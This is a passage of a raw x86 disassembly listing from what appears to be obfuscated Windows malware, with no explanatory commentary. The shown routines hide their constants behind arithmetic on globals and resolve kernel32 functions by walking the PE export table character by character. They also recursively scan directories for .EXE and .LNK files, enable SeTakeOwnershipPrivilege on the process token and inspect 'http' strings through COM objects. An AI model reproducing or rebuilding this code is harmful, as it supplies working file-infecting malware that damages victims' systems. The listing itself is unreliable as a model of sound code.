; ---------------------------------------------------------------------------
loc_440018: ; CODE XREF: sub_43FFC1+47j
mov eax, dword_5510F0
add eax, 33h
movsx edx, word_5510D0
add eax, edx
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_44005E
movsx eax, word_551198
mov edx, dword_55119C
lea eax, [eax+edx+0FFFBh]
sub ebx, eax
jmp short loc_43FFFB
; ---------------------------------------------------------------------------
loc_44005E: ; CODE XREF: sub_43FFC1+83j
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_440085
mov eax, dword_551214
add eax, 0FFFDh
sub ebx, eax
jmp loc_43FFFB
; ---------------------------------------------------------------------------
loc_440085: ; CODE XREF: sub_43FFC1+B1j
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_4475D4
mov eax, dword_5511F8
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_4400E1
; ---------------------------------------------------------------------------
loc_4400BF: ; CODE XREF: sub_43FFC1+13Fj
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_4400DE
cmp al, 7Ah
jge short loc_4400DE
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_4400DE: ; CODE XREF: sub_43FFC1+10Aj
; sub_43FFC1+10Ej
inc [ebp+var_4]
loc_4400E1: ; CODE XREF: sub_43FFC1+FCj
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, dword_551108
movsx ecx, word_5510CC
add edx, ecx
sub edx, 9
cmp eax, edx
jnz short loc_4400BF
cmp [ebp+var_101], 52h
jz short loc_44013C
cmp [ebp+var_FD], 33h
jz short loc_44013C
cmp [ebp+var_102], 45h
jz short loc_44013C
cmp [ebp+var_FE], 4Ch
jz short loc_44013C
cmp [ebp+var_103], 4Bh
jz short loc_44013C
cmp [ebp+var_FC], 32h
jnz loc_44035F
loc_44013C: ; CODE XREF: sub_43FFC1+148j
; sub_43FFC1+151j ...
mov eax, dword_551158
sub eax, 3
mov [ebp+var_108], eax
jmp loc_44034A
; ---------------------------------------------------------------------------
loc_44014F: ; CODE XREF: sub_43FFC1+398j
mov eax, [ebp+var_108]
mov ecx, dword_551168
add ecx, 2
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_4475D4
mov eax, dword_5511E0
cmp [ebp+eax+var_220], 50h
jnz loc_440344
mov eax, dword_551160
cmp byte ptr [ebp+eax+var_224], 74h
jnz loc_440344
mov eax, dword_55124C
mov edx, eax
add edx, eax
cmp [ebp+edx+var_22A], 41h
jnz loc_440344
mov eax, dword_55119C
add eax, dword_5510B0
cmp byte ptr [ebp+eax+var_228], 47h
jnz loc_440344
movsx eax, word_5510FC
add eax, dword_5511D8
cmp [ebp+eax+var_21F], 63h
jnz loc_440344
movsx eax, word_551218
cmp [ebp+eax+var_215], 72h
jnz loc_440344
mov eax, [ebp+var_108]
mov ecx, dword_551214
movsx esi, word_5510B4
add ecx, esi
sub ecx, 6
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp-22Ch], eax
mov ecx, dword_55112C
sub ecx, 4
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
lea edi, [ebp+var_245]
lea esi, aLeavecriticals ; "LeaveCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_252]
lea esi, aCreatethread ; "CreateThread"
mov ecx, 0Dh
rep movsb
mov dword_551254, ebx
mov eax, [ebp+var_230]
mov ds:dword_44B1AC, eax
lea edi, [ebp+var_267]
lea esi, aEntercriticals ; "EnterCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_281]
lea esi, aInitializecrit ; "InitializeCriticalSection"
mov ecx, 0Dh
rep movsw
lea eax, [ebp+var_245]
push eax
push dword_551254
call ds:dword_44B1AC
mov ds:dword_4CD940, eax
lea eax, [ebp+var_281]
push eax
push dword_551254
call ds:dword_44B1AC
mov ds:dword_449FCC, eax
lea eax, [ebp+var_252]
push eax
push dword_551254
call ds:dword_44B1AC
mov ds:dword_54FF20, eax
lea eax, [ebp+var_267]
push eax
push dword_551254
call ds:dword_44B1AC
mov ds:dword_54E95C, eax
jmp short loc_44035F
; ---------------------------------------------------------------------------
loc_440344: ; CODE XREF: sub_43FFC1+1DEj
; sub_43FFC1+1F1j ...
inc [ebp+var_108]
loc_44034A: ; CODE XREF: sub_43FFC1+189j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_44014F
loc_44035F: ; CODE XREF: sub_43FFC1+175j
; sub_43FFC1+381j
pop edi
pop esi
pop ebx
leave
retn
sub_43FFC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440364 proc near ; CODE XREF: sub_446839+211p
var_30037 = byte ptr -30037h
var_20038 = dword ptr -20038h
var_20034 = dword ptr -20034h
var_20030 = dword ptr -20030h
var_2002C = dword ptr -2002Ch
var_20028 = dword ptr -20028h
var_20024 = dword ptr -20024h
var_20020 = byte ptr -20020h
var_2001C = dword ptr -2001Ch
var_20018 = dword ptr -20018h
var_20014 = dword ptr -20014h
var_20010 = dword ptr -20010h
var_2000C = dword ptr -2000Ch
var_20008 = dword ptr -20008h
var_20004 = dword ptr -20004h
var_1FFFE = byte ptr -1FFFEh
var_1FFFD = byte ptr -1FFFDh
var_1FFFB = byte ptr -1FFFBh
var_1FFFA = byte ptr -1FFFAh
var_10004 = byte ptr -10004h
var_10002 = byte ptr -10002h
var_FFFF = byte ptr -0FFFFh
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
mov eax, 30038h
call sub_4475B4
push ebx
push esi
push edi
lea eax, [ebp+var_20018]
push eax
mov eax, dword_55114C
add eax, dword_551110
sub eax, 0Bh
push eax
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
mov eax, dword_55111C
sub eax, 2
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+54h]
mov edi, eax
mov eax, dword_5511DC
add eax, dword_5511D4
sub eax, 8
cmp edi, eax
jnz loc_440775
loc_4403BC: ; CODE XREF: sub_440364+3F0j
mov eax, dword_5510B8
add eax, dword_5511FC
sub eax, 4
push eax
lea eax, [ebp+var_20024]
push eax
movsx eax, word_5511F0
sub eax, 5
push eax
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+0Ch]
mov edi, eax
movsx eax, word_551208
movsx edx, word_5510C4
add eax, edx
sub eax, 7
cmp edi, eax
jnz loc_440759
mov esi, dword_551110
sub esi, 9
lea eax, [ebp+var_1FFFE]
push eax
push [ebp+var_20024]
call sub_43DBFE
add esp, 8
and [ebp+var_20004], 0
mov eax, dword_55124C
add eax, dword_551160
sub eax, 10h
mov [ebp+var_20028], eax
mov [ebp+var_20014], 10h
movsx eax, word_5510CC
add eax, dword_551174
sub eax, 8
mov [ebp+var_20008], eax
movsx eax, word_5511A8
mov [ebp+var_2000C], eax
mov [ebp+var_20010], 2
mov eax, dword_5510C0
add eax, dword_55123C
sub eax, 2
push eax
lea eax, [ebp+var_20014]
push eax
lea eax, [ebp+var_20004]
push eax
lea eax, [ebp+var_20028]
push eax
push [ebp+var_20024]
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
mov eax, dword_5510C8
add eax, dword_551150
sub eax, 5
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+44h]
mov edi, eax
mov eax, dword_5510D8
movsx edx, word_5510CC
add eax, edx
sub eax, 7
cmp edi, eax
jnz loc_4405FA
movsx eax, word_5511C4
mov esi, eax
add esi, dword_551184
sub esi, 0Bh
cmp [ebp+var_1FFFE], 44h
jnz short loc_4404FF
cmp [ebp+var_1FFFD], 50h
jz short loc_440504
loc_4404FF: ; CODE XREF: sub_440364+190j
jmp loc_4405FA
; ---------------------------------------------------------------------------
loc_440504: ; CODE XREF: sub_440364+199j
cmp [ebp+var_1FFFB], 50h
jnz short loc_440516
cmp [ebp+var_1FFFA], 49h
jz short loc_44051B
loc_440516: ; CODE XREF: sub_440364+1A7j
jmp loc_4405FA
; ---------------------------------------------------------------------------
loc_44051B: ; CODE XREF: sub_440364+1B0j
mov eax, [ebp+var_20004]
mov [ebp+var_2002C], eax
mov eax, [ebp+var_20028]
mov [ebp+var_20030], eax
lea eax, [ebp+var_20020]
push eax
mov eax, dword_5511F4
mov edx, eax
add edx, dword_551184
sub edx, 0Dh
push edx
mov edx, dword_55114C
sub edx, 2
push edx
mov edx, dword_55110C
add edx, eax
mov eax, edx
sub eax, 0Bh
push eax
movsx eax, word_551210
add eax, dword_5511F8
sub eax, 8
push eax
mov eax, dword_5510EC
dec eax
push eax
lea eax, [ebp+var_20030]
push eax
call ds:dword_448028
mov [ebp+var_20034], eax
mov ecx, dword_5510E4
add ecx, dword_551188
sub ecx, 0Ah
cmp eax, ecx
jnz short loc_4405B8
movsx eax, word_5510FC
movsx edx, word_55109C
mov esi, eax
add esi, edx
sub esi, 8
jmp short loc_4405FA
; ---------------------------------------------------------------------------
loc_4405B8: ; CODE XREF: sub_440364+23Bj
movsx eax, word_551104
mov esi, eax
add esi, dword_55120C
sub esi, 2
lea eax, [ebp+var_30037]
push eax
push [ebp+var_2001C]
call sub_43DBFE
add esp, 8
movsx eax, word_551218
cmp [ebp+var_2001C], eax
jz short loc_4405FA
push [ebp+var_2001C]
call ds:dword_44B5CC
loc_4405FA: ; CODE XREF: sub_440364+171j
; sub_440364:loc_4404FFj ...
mov eax, dword_5510D4
mov edx, dword_551130
add edx, dword_5511A0
sub edx, 9
mov [ebp+eax+var_10002], dl
mov [ebp+eax+var_10004], 50h
mov eax, dword_551248
mov [ebp+eax+var_10002], 7Ch
push [ebp+arg_24]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset dword_551E98
call sub_43CAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
push offset byte_551E7B
call sub_43CAF7
mov ebx, dword_55124C
sub ebx, 8
push ebx
push eax
push [ebp+arg_24]
call sub_43FE22
add esp, 24h
movsx edx, word_5511F0
add edx, 0FFF9h
cmp eax, edx
jz short loc_44069B
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call sub_44181A
add esp, 8
jmp short loc_4406CA
; ---------------------------------------------------------------------------
loc_44069B: ; CODE XREF: sub_440364+31Dj
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset word_551E76
call sub_43CAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
add esp, 14h
loc_4406CA: ; CODE XREF: sub_440364+335j
mov eax, dword_5511D0
add eax, dword_5511F4
sub eax, 0Fh
cmp esi, eax
jnz short loc_4406EA
mov eax, [ebp+var_20004]
mov [ebp+var_20038], eax
jmp short loc_4406F6
; ---------------------------------------------------------------------------
loc_4406EA: ; CODE XREF: sub_440364+376j
lea eax, [ebp+var_30037]
mov [ebp+var_20038], eax
loc_4406F6: ; CODE XREF: sub_440364+384j
push [ebp+var_20038]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44802C
push offset byte_551E71
call sub_43CAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44802C
add esp, 14h
mov eax, dword_55122C
add eax, dword_5510B0
sub eax, 0Ch
cmp [ebp+var_20004], eax
jz short loc_440746
push [ebp+var_20004]
call ds:dword_48C1EC
loc_440746: ; CODE XREF: sub_440364+3D4j
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_48C1E0
pop ecx
jmp loc_4403BC
; ---------------------------------------------------------------------------
loc_440759: ; CODE XREF: sub_440364+9Cj
movsx eax, word_5510CC
dec eax
cmp [ebp+var_20018], eax
jz short loc_440775
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_440775: ; CODE XREF: sub_440364+52j
; sub_440364+403j
pop edi
pop esi
pop ebx
leave
retn
sub_440364 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44077A proc near ; CODE XREF: sub_43DE1F+3Ep
; sub_44077A+21Fp ...
var_259 = byte ptr -259h
var_258 = byte ptr -258h
var_257 = byte ptr -257h
var_256 = byte ptr -256h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_4407A8
mov eax, dword_55115C
add eax, dword_551130
sub eax, 5
mov [ebp+var_248], eax
jmp loc_44082E
; ---------------------------------------------------------------------------
loc_4407A8: ; CODE XREF: sub_44077A+13j
mov edx, [ebp+arg_4]
movsx ecx, word_5510F8
sub ecx, 5
cmp ds:dword_44B5E0[edx*4], ecx
jnz short loc_4407DA
push esi
call ds:dword_44B5BC
mov eax, dword_5511EC
add eax, dword_551134
sub eax, 4
push eax
call ds:dword_54E960
loc_4407DA: ; CODE XREF: sub_44077A+42j
mov eax, dword_55110C
add eax, 62h
mov [ebp+var_248], eax
push offset byte_551E69
call sub_43CAF7
push [ebp+arg_4]
push eax
lea edx, [ebp+var_256]
push edx
call ds:dword_50E928
add esp, 10h
lea eax, [ebp+var_256]
push eax
call ds:dword_54E964
cmp eax, 3
jnz short loc_44082E
mov eax, dword_5510D8
add eax, 122h
add eax, dword_5511D8
mov [ebp+var_248], eax
loc_44082E: ; CODE XREF: sub_44077A+29j
; sub_44077A+9Cj
xor edi, edi
inc edi
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_440836: ; CODE XREF: sub_44077A+C1j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440836
mov [ebp+var_24C], eax
push offset word_551E62
call sub_43CAF7
add esp, 4
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50E928
add esp, 0Ch
mov eax, [ebp+var_24C]
movsx edx, word_551240
add edx, dword_55111C
sub edx, 5
sub eax, edx
cmp byte ptr [ebx+eax], 2Eh
jnz loc_44092F
mov eax, [ebp+var_24C]
sub eax, 4
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_257], dl
mov eax, [ebp+var_24C]
sub eax, 2
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_258], dl
mov eax, [ebp+var_24C]
sub eax, 3
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_259], dl
cmp [ebp+var_257], 4Ch
jnz short loc_440905
cmp [ebp+var_259], 4Eh
jnz short loc_440905
cmp [ebp+var_258], 4Bh
jnz short loc_440905
push ebx
call sub_43CDF1
add esp, 4
loc_440905: ; CODE XREF: sub_44077A+16Ej
; sub_44077A+177j ...
cmp [ebp+var_257], 45h
jnz short loc_44092F
cmp [ebp+var_259], 58h
jnz short loc_44092F
cmp [ebp+var_258], 45h
jnz short loc_44092F
push [ebp+var_248]
push ebx
call sub_43CBE6
add esp, 8
loc_44092F: ; CODE XREF: sub_44077A+104j
; sub_44077A+192j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC228
mov esi, eax
movsx eax, word_5511A8
add eax, dword_55120C
sub eax, 3
neg eax
cmp esi, eax
jz loc_440A16
cmp [ebp+var_112], 2Eh
jz loc_440A12
push offset byte_551E59
call sub_43CAF7
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50E928
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_44077A
add esp, 20h
jmp short loc_440A12
; ---------------------------------------------------------------------------
loc_4409A3: ; CODE XREF: sub_44077A+29Aj
lea eax, [ebp+var_13E]
push eax
push esi
call ds:dword_449FC8
mov edi, eax
or edi, edi
jnz short loc_4409D4
mov eax, [ebp+var_248]
add eax, ds:dword_50E92C
push eax
call ds:dword_50E924
pop ecx
push esi
call ds:dword_44B5BC
jmp short loc_440A16
; ---------------------------------------------------------------------------
loc_4409D4: ; CODE XREF: sub_44077A+23Bj
cmp [ebp+var_112], 2Eh
jz short loc_440A12
push offset dword_551E50
call sub_43CAF7
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50E928
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_44077A
add esp, 20h
loc_440A12: ; CODE XREF: sub_44077A+1ECj
; sub_44077A+227j ...
or edi, edi
jnz short loc_4409A3
loc_440A16: ; CODE XREF: sub_44077A+1DFj
; sub_44077A+258j
pop edi
pop esi
pop ebx
leave
retn
sub_44077A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440A1B proc near ; CODE XREF: sub_43B4E9+3Ap
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10004 = dword ptr -10004h
var_FFFF = byte ptr -0FFFFh
var_FFFE = byte ptr -0FFFEh
var_FFFD = byte ptr -0FFFDh
var_FFFC = byte ptr -0FFFCh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_4475B4
push ebx
push esi
push edi
mov eax, dword_551220
add eax, dword_551100
sub eax, 0Bh
cmp dword_5512C4, eax
jnz short loc_440A55
mov eax, dword_5510EC
add eax, 9
cmp ds:dword_44B5D0, eax
jb loc_440CCD
loc_440A55: ; CODE XREF: sub_440A1B+24j
lea eax, [ebp+var_10020]
push eax
call ds:dword_448048
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
movsx eax, word_551104
add eax, dword_5511EC
sub eax, 3
push eax
push [ebp+arg_0]
call ds:dword_4CC224
mov edi, eax
mov eax, dword_5511D0
movsx edx, word_551148
add eax, edx
sub eax, 8
cmp edi, eax
jnz loc_440CCD
mov esi, [ebp+var_10018]
mov eax, dword_5511B4
sub eax, 4
mov [ebp+var_10008], eax
lea eax, [ebp+var_10008]
push eax
push offset dword_552AA8
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_55120C
sub eax, 4
cmp edi, eax
jnz loc_440CCD
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
mov eax, dword_5511BC
movsx edx, word_551190
add eax, edx
sub eax, 0Eh
cmp edi, eax
jnz loc_440CC7
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10024]
call sub_43DBFE
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call ds:dword_54FF34
cmp [ebp+var_FFFF], 68h
jnz short loc_440B5F
cmp [ebp+var_FFFE], 74h
jnz short loc_440B5F
cmp [ebp+var_FFFD], 74h
jnz short loc_440B5F
cmp [ebp+var_FFFC], 70h
jz short loc_440B64
loc_440B5F: ; CODE XREF: sub_440A1B+127j
; sub_440A1B+130j ...
jmp loc_440CC7
; ---------------------------------------------------------------------------
loc_440B64: ; CODE XREF: sub_440A1B+142j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, dword_5511DC
add eax, dword_551234
sub eax, 8
cmp edi, eax
jnz loc_440CC7
lea eax, [ebp+var_10004]
push eax
push offset dword_552A28
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_5510A4
sub eax, 7
cmp edi, eax
jnz loc_440CBB
lea eax, [ebp+var_1000C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
mov eax, dword_551124
add eax, dword_55122C
sub eax, 9
cmp edi, eax
jnz loc_440CAF
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
mov eax, dword_5510C0
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 4
cmp edi, eax
jz short loc_440C23
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp loc_440CAF
; ---------------------------------------------------------------------------
loc_440C23: ; CODE XREF: sub_440A1B+1F5j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_1000C], eax
jz short loc_440C36
xor ebx, ebx
inc ebx
loc_440C36: ; CODE XREF: sub_440A1B+216j
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_440CAF
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, dword_55112C
movsx edx, word_551198
add eax, edx
sub eax, 9
cmp edi, eax
jnz short loc_440CAF
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10008]
push [ebp+var_1002C]
push [ebp+var_10004]
call sub_4424CE
push [ebp+var_1002C]
push [ebp+var_10004]
push esi
call sub_44726D
add esp, 1Ch
loc_440CAF: ; CODE XREF: sub_440A1B+1CAj
; sub_440A1B+203j ...
mov eax, [ebp+var_10004]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_440CBB: ; CODE XREF: sub_440A1B+19Cj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_440CC7: ; CODE XREF: sub_440A1B+F0j
; sub_440A1B:loc_440B5Fj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_440CCD: ; CODE XREF: sub_440A1B+34j
; sub_440A1B+86j ...
pop edi
pop esi
pop ebx
leave
retn
sub_440A1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440CD2 proc near ; CODE XREF: sub_446ED7+2E0p
var_68 = dword ptr -68h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
call ds:dword_48B9F4
mov ebx, eax
call sub_44322A
or eax, eax
jnz short loc_440CFA
mov edi, dword_551234
sub edi, 7
jmp loc_440F05
; ---------------------------------------------------------------------------
loc_440CFA: ; CODE XREF: sub_440CD2+18j
push ebx
movsx eax, word_55113C
sub eax, 9
push eax
push 1F0FFFh
call ds:dword_54FF2C
mov esi, eax
lea eax, [ebp+var_4]
push eax
push 28h
push esi
call ds:dword_44B080
mov edi, eax
mov edx, dword_551124
add edx, dword_5511F4
mov ecx, dword_5510C0
sub ecx, 2
mov [ebp+edx*4+var_68], ecx
mov eax, dword_5510C0
sub eax, 2
cmp edi, eax
jz loc_440F05
lea eax, [ebp+var_40]
push eax
push 28h
lea eax, [ebp+var_3C]
push eax
mov eax, dword_5511A0
add eax, 0Ah
add eax, dword_5511EC
push eax
push [ebp+var_4]
call ds:dword_4CE90C
mov edi, eax
cmp [ebp+arg_0], 0
jz short loc_440DCE
mov eax, dword_551100
sub eax, 9
cmp edi, eax
jnz short loc_440D8F
mov edi, dword_5510AC
sub edi, 6
jmp loc_440F05
; ---------------------------------------------------------------------------
loc_440D8F: ; CODE XREF: sub_440CD2+ADj
mov eax, dword_551120
mov edi, eax
add edi, dword_551180
sub edi, 7
mov eax, dword_551214
movsx edx, word_551218
add eax, edx
sub eax, 3
cmp [ebp+var_3C], eax
jz loc_440F05
mov eax, dword_55123C
mov edi, eax
add edi, dword_5510DC
sub edi, 4
jmp loc_440F05
; ---------------------------------------------------------------------------
loc_440DCE: ; CODE XREF: sub_440CD2+A1j
mov eax, dword_551160
sub eax, 7
cmp dword_55128C, eax
jnz short loc_440DF6
mov eax, dword_5511A0
add eax, 3FF8h
push eax
push 40h
call ds:dword_48B9EC
mov dword_55128C, eax
loc_440DF6: ; CODE XREF: sub_440CD2+10Aj
lea eax, [ebp+var_40]
push eax
movsx eax, word_551244
mov edx, dword_551100
lea eax, [eax+edx+3FF0h]
push eax
push dword_55128C
push 1
push [ebp+var_4]
call ds:dword_4CE90C
mov eax, dword_551200
add eax, dword_5511B0
sub eax, 0Ch
cmp dword_551288, eax
jnz short loc_440E45
push 14h
push 0
call ds:dword_48B9EC
mov dword_551288, eax
loc_440E45: ; CODE XREF: sub_440CD2+162j
push 1
push dword_551288
call ds:dword_449008
mov edi, eax
push 0
mov eax, dword_551168
movsx edx, word_551208
add eax, edx
sub eax, 3
push eax
push 1
push dword_551288
call ds:dword_48C1E4
mov edi, eax
push 0
mov eax, dword_55128C
push dword ptr [eax]
push dword_551288
call ds:dword_48B9E8
mov edi, eax
lea eax, [ebp+var_10]
push eax
push offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
mov eax, dword_551170
sub eax, 4
push eax
call ds:dword_448020
mov edi, eax
mov [ebp+var_8], 2
mov eax, dword_5511B0
sub eax, 7
cmp edi, eax
jz short loc_440F05
movsx eax, word_5511F0
movsx edx, word_551148
add eax, edx
sub eax, 6
mov [ebp+var_14], eax
movsx eax, word_5510B4
sub eax, 5
push eax
movsx eax, word_551164
add eax, dword_5511FC
dec eax
push eax
mov eax, dword_551140
dec eax
push eax
lea eax, [ebp+var_14]
push eax
push 0
push [ebp+var_4]
call ds:dword_4CD81C
mov edi, eax
loc_440F05: ; CODE XREF: sub_440CD2+23j
; sub_440CD2+73j ...
push esi
call ds:dword_4CD948
push [ebp+var_4]
call ds:dword_4CD948
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_440CD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440F1C proc near ; CODE XREF: sub_43EE88+B1p
; sub_43EE88+19Fp
var_10038 = dword ptr -10038h
var_10004 = dword ptr -10004h
var_FFFF = byte ptr -0FFFFh
var_FFFB = byte ptr -0FFFBh
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_4475B4
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, dword_4CC440
cmp [ebp+arg_4], 43h
jnz short loc_440F41
lea edi, dword_44B0A0
loc_440F41: ; CODE XREF: sub_440F1C+1Dj
cmp [ebp+arg_4], 50h
jnz short loc_440F4D
lea edi, dword_4CD830
loc_440F4D: ; CODE XREF: sub_440F1C+29j
mov eax, dword_5510C8
dec eax
push eax
push 80h
push 3
mov eax, dword_5511D8
movsx edx, word_551094
add eax, edx
sub eax, 6
push eax
push 3
push 0C0000000h
push edi
call ds:dword_54FB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_44104D
push 0
mov eax, dword_551188
sub eax, 5
push eax
push esi
push edi
call ds:dword_54FF30
mov eax, dword_551214
add eax, dword_55117C
sub eax, 0Ah
push eax
lea eax, [ebp+var_10004]
push eax
push 0FFFFh
lea eax, [ebp+var_FFFF]
push eax
push edi
call ds:dword_448034
lea ecx, [ebp+var_FFFB]
or eax, 0FFFFFFFFh
loc_440FCB: ; CODE XREF: sub_440F1C+B4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440FCB
mov edx, dword_551154
add edx, dword_551178
sub edx, 0Ch
mov ebx, eax
add ebx, edx
mov [ebp+var_10004], ebx
push 0
movsx eax, word_5510FC
add eax, dword_551188
sub eax, 7
push eax
push esi
push edi
call ds:dword_54FF30
mov esi, dword_5511BC
add esi, dword_5511C8
mov ebx, [ebp+var_10004]
mov [ebp+esi*4+var_10038+1], ebx
mov eax, dword_55115C
sub eax, 4
push eax
lea eax, [ebp+var_10004]
push eax
mov eax, dword_5511FC
add eax, 4
push eax
lea eax, [ebp+var_FFFF]
push eax
push edi
call ds:dword_54FF1C
push edi
call ds:dword_4CD948
loc_44104D: ; CODE XREF: sub_440F1C+64j
pop edi
pop esi
pop ebx
leave
retn
sub_440F1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441052 proc near ; CODE XREF: sub_43D3AD+A8p
var_11C = dword ptr -11Ch
var_DC = dword ptr -0DCh
